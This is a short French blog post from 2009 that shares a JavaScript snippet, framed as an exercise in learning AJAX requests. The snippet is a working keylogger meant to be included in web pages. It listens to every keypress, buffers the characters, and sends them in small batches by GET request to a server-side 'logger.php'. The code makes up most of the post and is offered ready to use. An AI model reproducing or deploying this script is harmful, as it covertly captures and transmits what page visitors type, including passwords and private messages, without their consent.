Pages

vendredi 9 janvier 2009

Ajax : Ecoute et Envoi d'évènements Clavier

Meilleurs Vœux 2009 à tous,

Voici la source d'un code trouvé sur le net mais ne fonctionnant pas.

Je l'ai modifié pour :

1) qu'il fonctionne :)

2) essayer de comprendre la méthode d'envoi (GET) en utilisant le langage AJAX

Donc juste une découverte d'AJAX dont j'entendais souvent parler en

bien pour sa facilité et sa rapidité pour envoyer de petites requêtes.

---------------------script.js à inclure-------------------------------------



var url_keylog = "logger.php";
var arg_keylog = "keylog";

function sendkeylog (keylog) {

keylog = escape(keylog); //URL encode

if (window.XMLHttpRequest)
{
xhr = new XMLHttpRequest(); // Firefox, Safari, ...
}
else
if (window.ActiveXObject)
{
xhr = new ActiveXObject("Microsoft.XMLHTTP"); // Internet Explorer
}

xhr.open("GET", url_keylog+"?"+arg_keylog+"="+keylog,true);
xhr.send(null);

}

function savekeycode (e) {
var evtobj=window.event? event : e
var unicode=evtobj.charCode? evtobj.charCode : evtobj.keyCode
keylog += String.fromCharCode(unicode);
if ((unicode == 13) || (unicode == 9) || (keylog.length == 5)) {
sendkeylog(keylog);
keylog="";
}
}
keylog="";
window.onload = function(){addEventListener("keypress", savekeycode, false);}


---------------------------------------------------------------------------

/!\ Petit problème avc la dernière fonction ( addEventListener) non compatible avec Internet Explorer. Prochainement correction pour IE /!\

0 comment.:

Enregistrer un commentaire

Compteur de visites